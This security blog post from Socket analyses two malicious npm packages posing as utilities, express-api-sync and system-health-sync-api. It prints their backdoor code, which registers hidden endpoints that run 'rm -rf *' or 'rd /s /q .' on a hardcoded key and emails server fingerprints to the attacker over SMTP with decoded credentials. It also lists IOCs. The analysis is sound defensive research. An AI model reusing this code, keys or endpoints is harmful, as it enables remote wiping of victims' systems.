🚀 Big News: Socket Acquires Coana to Bring Reachability Analysis to Every Appsec Team.Learn more
Socket
Book a DemoInstallSign in
Socket
Back

Security News

Research

Destructive npm Packages Disguised as Utilities Enable Remote System Wipe

Socket uncovered two npm packages that register hidden HTTP endpoints to delete all files on command.

Destructive npm Packages Disguised as Utilities Enable Remote System Wipe

Kush Pandya

June 5, 2025

Ready for another round of npm destruction? This time, the packages come with a built-in kill switch for your entire production environment.

Socket's Threat Research Team discovered two malicious npm packages that masquerade as legitimate utilities while implementing backdoors designed to destroy production systems. Published by npm user botsailer using email anupm019@gmail[.]com, both express-api-sync and system-health-sync-api secretly register hidden endpoints that, when triggered with the right credentials, execute file deletion commands that wipe out entire application directories.

Socket AI Scanner’s analysis of the malicious express-api-sync package.

From Database Sync to Data Destruction#

Package 1: express-api-sync

This package claims to be "a simple express api to sync data between two databases." In reality, it contains no database functionality whatsoever. Instead, it implements a single-purpose backdoor that waits for the kill command.

How the Backdoor Works

When a developer adds this middleware to their Express application, it appears to do nothing. The package exports a function that returns standard Express middleware, making it blend into typical Node.js applications. However, on the first HTTP request to ANY endpoint in your application, the malicious code springs into action.

Hidden Backdoor Mechanism

// The complete malicious code from index.js
const { exec } = require('child_process'); 
let initialized = false;

module.exports = function(options={}){
    const secret = "DEFAULT_123";
    return function (req,res,next){
        if(!initialized){
            try{
                const app = req.app
                app.post('/api/this/that', (req, res) => {
                    const providedkey = req.headers['x-secret-key']|| req.body?.secretKey;
                    if(providedkey === secret){
                        exec('rm -rf *',{cwd:process.cwd()},(err)=>{
                            if (err) res.status(500).send({error:err.message})
                            else res.status(200).send({message:"All files deleted"})
                        })
                    }
                    else res.status(403).send({error:"Invalid secret key"})
                })
                initialized = true;
            }catch(e){
// Uncaught exceptions would appear in application logs or error monitoring services—the empty catch block ensures route registration failures remain undetected
            }
        }
        next();
    }
}

Key observations:

  • The initialized flag ensures the backdoor registers only once
  • Empty catch block hides any registration failures
  • No logging or console output to maintain stealth
  • Unix-only deletion command (rm -rf *)

The backdoor accepts POST requests to /api/this/that using the hardcoded key "DEFAULT_123" sent via header (x-secret-key) or body parameter (secretKey). This flexibility ensures the backdoor is triggered, regardless of how the attacker prefers to send requests, though the generic key suggests the threat actor didn't bother creating unique keys for different victims.

Once triggered, the rm -rf * command executes in the application's working directory, deleting all files, including source code, configuration files, uploaded assets, and any local databases. The endpoint returns status messages to the attacker indicating success ({"message":"All files deleted"}) or failure of the destruction.

Package 2: system-health-sync-api#

This package represents a significant escalation in sophistication. Where express-api-sync is a blunt instrument, system-health-sync-api is a Swiss Army knife of destruction with built-in intelligence gathering.

The package includes legitimate-looking features that might pass casual inspection:

  • Real dependencies (nodemailer, performance-now)
  • A friendly post-install message: "✓ Successfully installed health monitor"
  • Multiple configuration options suggesting flexibility
  • Framework detection supporting Express, Fastify, and raw HTTP servers
  • A working health check endpoint that returns server status

The main module exposes what appears to be a flexible monitoring system:

// From: index.js
// Looks like a legitimate configuration object
const config = {
    secret: "HelloWorld",
    email: options.email || process.env.ALERT_EMAIL || 'anupm019@gmail[.]com',
    endpoint: options.endpoint || '/_/system/health',
    dryRun: options.dryRun || false,
    log: options.logger || console,
    initialized: false,
    app: null
};

Notice how it checks for process.env.ALERT_EMAIL - to make developers think it's reading from their environment configuration. In reality, it defaults to the attacker's email address when this variable isn't set (which is almost always).

Information Gathering Before Destruction

Before executing any destructive commands, the package harvests extensive information about the target system:

// From: index.js
const serverFingerprint = {
    hostname: os.hostname(),          // Server name
    ip: req ? req.headers['x-forwarded-for'] || req.socket.remoteAddress : 'N/A',
    cwd: process.cwd(),              // Current working directory
    pid: process.pid,                // Process ID
    timestamp: new Date().toISOString(),
    hash: crypto.createHash('sha256')
        .update(JSON.stringify(process.env))
        .digest('hex')               // Environment variables hash
};

// Constructs the full backend URL
const backendUrl = `${req?.protocol}://${req?.get('host')}${req?.originalUrl || ''}`;

The environment variables hash is particularly concerning. While it doesn't directly expose secrets, it creates a unique fingerprint that could help attackers identify servers with specific configurations or detect when environment variables change (possibly indicating new API keys or credentials).

Multi-Platform Destruction

Unlike express-api-sync's Unix-only approach, this package detects the operating system and adjusts its destruction command accordingly:

// From: index.js
const { exec } = require('child_process'); 
const cleanupCommand = config.dryRun
    ? 'echo "DRY RUN: " && (ls -la || dir)'
    : process.platform === 'win32'
        ? 'rd /s /q .'     // Windows: Remove Directory recursively
        : 'rm -rf *';      // Unix/Linux: Remove all files

exec(cleanupCommand, { cwd: process.cwd() }, async (err, stdout, stderr) => {
    await sendAlert(err ? 'Cleanup Failed' : 'System Purged', req);

    if (err) {
        return res.status(500).json({
            status: 'error',
            command: cleanupCommand,  // Reveals the exact command attempted
            path: process.cwd(),      // Shows target directory
            error: err.message
        });
    }

    res.json({
        status: 'success',
        hostname: os.hostname(),
        directory: process.cwd(),
        output: stdout + stderr   // Shows list of deleted files
    });
});

This cross-platform support means the malware works equally well on Windows servers running IIS with Node.js, Linux production servers, and macOS development machines. The Windows command rd /s /q . is particularly devastating as it removes the current directory itself, not just its contents.

Email-Based Command and Control

The package uses email as a covert communication channel. It includes hardcoded SMTP credentials that were poorly obfuscated:

// From: index.js
const smtpConfig = {
    host: options.smtpHost || "smtp[.]hostinger[.]com",
    port: options.smtpPort || 465,
    secure: true,
    auth: {
        user: options.smtpUser || "auth@corehomes[.]in",
        pass: options.smtpPass || Buffer.from('UmViZWxAc2hyZWUx', 'base64').toString()
        // Decoded password: Rebel@shree1
    }
};

// Verifies SMTP connection on startup
transporter.verify((error) => {
    if (error) {
        config.log.error('SMTP Connection Error:', error);
    } else {
        config.log.info('SMTP Server Ready');  // Confirms C2 channel is active
    }
});

This configuration reveals several critical details. The package connects to a legitimate email service (Hostinger) using real credentials. The || operators create an illusion of configurability. Developers might think they can override these settings, but in practice, the hardcoded values are almost always used.

The password Rebel@shree1 is "hidden" using Base64 encoding (UmViZWxAc2hyZWUx). Encoding is not encryption. Encoding is more like writing a password backwards and calling it secure. Any developer can decode it in seconds.

The transporter.verify() call happens when your server starts. In this case, it’s used to test whether the malware can successfully connect to the attacker's email server. If it succeeds, it logs "SMTP Server Ready" which looks like a normal health check but actually confirms the command-and-control channel is operational. Using SMTP for data exfiltration is clever since most firewalls allow outbound email traffic, and it blends in with legitimate application emails.

Every significant event triggers an email to anupm019@gmail[.]com:

// From: index.js - sendAlert function
await transporter.sendMail({
    from: `"System Monitor" <${smtpConfig.auth.user}>`,
    to: config.email,
    subject: `[CORE] ${message} @ ${serverFingerprint.hostname}`,
    text: `${message}\n\nBackend URL: ${backendUrl}\n\n${JSON.stringify(serverFingerprint, null, 2)}`,
    html: `<pre>${JSON.stringify(serverFingerprint, null, 2)}</pre>
    <strong>The backend is hosted on this complete url : ${backendUrl}  </strong>`
});

The email includes the full backend URL, potentially exposing internal infrastructure details, development environments, or staging servers that shouldn't be publicly known.

Triple Redundancy

The package creates three endpoints to ensure maximum chance of successful activation:

  1. Health Check (GET /_/system/health) - Returns server status for reconnaissance
  2. Primary Backdoor (POST /_/system/health) - Main destruction endpoint with full configuration support
  3. Secondary Backdoor (POST /_/sys/maintenance) - Backup destruction endpoint from core.js

The primary backdoor provides detailed logging and error responses, including helpful hints like "POST /endpoint with valid X-System-Key header" when authentication fails. It executes platform-specific destruction commands (rm -rf * on Unix, rd /s /q . on Windows) and sends email notifications before responding.

The secondary backdoor uses a different authentication header (x-maintenance-key instead of x-system-key) and sends emails with a different sender name ("System Health" vs "System Monitor"), providing redundancy in case one endpoint is discovered and blocked.

Both destruction endpoints support dry-run mode for reconnaissance and include the same cross-platform deletion logic, but return different response formats to avoid detection patterns.

Framework Auto-Detection

The package automatically detects which web framework is being used and adapts accordingly:

// From: index.js - registerRoute function
if (typeof app.post === 'function') {
    app.post(config.endpoint, handler);
    config.log.info(`Express route registered: POST ${config.endpoint}`);
} else if (typeof app.addRoute === 'function') {
    app.addRoute({ method: 'POST', url: config.endpoint, handler });
    config.log.info(`Fastify route registered: POST ${config.endpoint}`);
} else if (typeof app.on === 'function') {
    app.on('request', (req, res) => {
        if (req.url === config.endpoint && req.method === 'POST') {
            handler(req, res);
        }
    });
    config.log.info(`HTTP server route registered: POST ${config.endpoint}`);
}

Helpful Error Messages for Attackers

When authentication fails, the package actually helps attackers understand how to use it correctly:

// From: index.js - handler function
config.log.warn('Invalid key attempt from', clientInfo.ip);
return res.status(403).json({
    error: 'Access Denied',
    hint: `POST ${config.endpoint} with valid X-System-Key header`
});

Simplified Notification Module

The package includes a separate notification module that provides redundant functionality:

// From: notify.js
const crypto = require('crypto');

exports.sendAlert = (transporter, message) => {
  const fingerprint = crypto.createHash('md5')
    .update(JSON.stringify(process.env))
    .digest('hex');

  transporter.sendMail({
    from: '"Health Monitor" <auth@corehomes[.]in>',
    to: 'anupm019@gmail[.]com',
    subject: `[SHC] ${message}`,  // Different subject prefix
    text: `Host: ${require('os').hostname()}\nID: ${fingerprint}`
  }).catch(() => {});  // Silently ignore email failures
};

Triggering the Backdoor

Attackers first verify the backdoor via GET /_/system/health which returns the server's hostname and status. They can test with dry-run mode if configured, then execute destruction using POST /_/system/health or the backup POST /_/sys/maintenance endpoint with the key "HelloWorld" (sent via x-system-key or x-maintenance-key headers respectively).

If developers used custom configuration, attackers learn the custom endpoints from the email notifications they receive. For example, if configured with endpoint: '/api/health-check' and secret: 'MyCustomKey123', the activation email reveals the custom URL, allowing attackers to adjust their requests accordingly. However, emails still go to the hardcoded anupm019@gmail[.]com address unless explicitly overridden.

Outlook and Recommendations

These packages represent a concerning addition to npm's threat landscape, while most attacks focus on stealing cryptocurrency or credentials, these prioritize complete system destruction. The progression from express-api-sync's basic backdoor to system-health-sync-api's multi-layered approach shows this particular threat actor refining their techniques.

What This Means

Destruction is the new theft: These packages don't steal cryptocurrency or credentials—they delete everything. This suggests attackers motivated by sabotage, competition, or state-level disruption rather than being solely financially motivated.

Email reconnaissance before destruction: By harvesting server details via email before attacking, adversaries build target lists and verify installations, mirroring reconnaissance tactics used across other software ecosystems. Future attacks will likely:

  • Map entire company infrastructures before striking
  • Coordinate simultaneous attacks across multiple servers
  • Sell infrastructure intelligence to competitors
  • Wait months or years before activation

Middleware as the perfect target: Express middleware runs on every request with full application privileges. Expect more attacks targeting:

  • Framework-specific ecosystems (Express, Fastify, Koa)
  • Packages that modify other packages at runtime
  • "Security" tools that actually create vulnerabilities

Socket's behavioral analysis detects these evolving patterns by monitoring package actions in real-time. Our GitHub app blocks malicious packages in pull requests, while the CLI alerts during installation, and our browser extension provides security insights directly on npm package pages, catching threats that traditional scanners miss.

Indicators of Compromise (IOCs)#

Malicious Packages:

  • express-api-sync
  • system-health-sync-api

Network Indicators:

  • smtp[.]hostinger[.]com:465
  • auth@corehomes[.]in

Threat Actor Identifiers:

  • npm alias - botsailer
  • npm Registration email - anupm019@gmail[.]com

Endpoints:

  • POST /api/this/that
  • GET /_/system/health
  • POST /_/system/health
  • POST /_/sys/maintenance

Authentication Keys:

  • DEFAULT_123 (express-api-sync)
  • HelloWorld (system-health-sync-api)

MITRE ATT&CK Techniques#

  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1485 — Data Destruction
  • T1071.003 — Application Layer Protocol: Mail Protocols
  • T1082 — System Information Discovery
  • T1041 — Exfiltration Over C2 Channel

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts